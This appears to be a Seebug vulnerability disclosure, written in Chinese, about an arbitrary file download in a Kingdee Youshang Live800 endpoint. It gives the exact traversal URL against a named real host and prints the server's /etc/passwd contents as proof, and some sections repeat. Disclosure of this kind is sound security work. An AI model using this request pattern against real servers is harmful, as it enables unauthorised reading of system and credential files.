### 简要描述： ### 详细说明： [<img src="https://images.seebug.org/upload/201601/14171956172de06d0529f26d0d25b3adbc43cd2f.jpg" alt="金蝶友商.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201601/14171956172de06d0529f26d0d25b3adbc43cd2f.jpg) 打开链接：http://im.youshang.com/live800/downlog.jsp?path=/&fileName=/etc/passwd 可以下载passwd文件，内容如下： root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false...
### 简要描述： ### 详细说明： [<img src="https://images.seebug.org/upload/201601/14171956172de06d0529f26d0d25b3adbc43cd2f.jpg" alt="金蝶友商.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201601/14171956172de06d0529f26d0d25b3adbc43cd2f.jpg) 打开链接：http://im.youshang.com/live800/downlog.jsp?path=/&fileName=/etc/passwd 可以下载passwd文件，内容如下： root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin apacat:x:1000:1000::/home/apacat:/bin/sh update:x:0:0::/home/update:/bin/bash nagios:x:1006:1006::/home/nagios:/bin/bash tomcat:x:1007:1007::/home/tomcat:/bin/sh ### 漏洞证明： [<img src="https://images.seebug.org/upload/201601/14171956172de06d0529f26d0d25b3adbc43cd2f.jpg" alt="金蝶友商.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201601/14171956172de06d0529f26d0d25b3adbc43cd2f.jpg) 打开链接：http://im.youshang.com/live800/downlog.jsp?path=/&fileName=/etc/passwd 可以下载passwd文件，内容如下： root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin apacat:x:1000:1000::/home/apacat:/bin/sh update:x:0:0::/home/update:/bin/bash nagios:x:1006:1006::/home/nagios:/bin/bash tomcat:x:1007:1007::/home/tomcat:/bin/sh
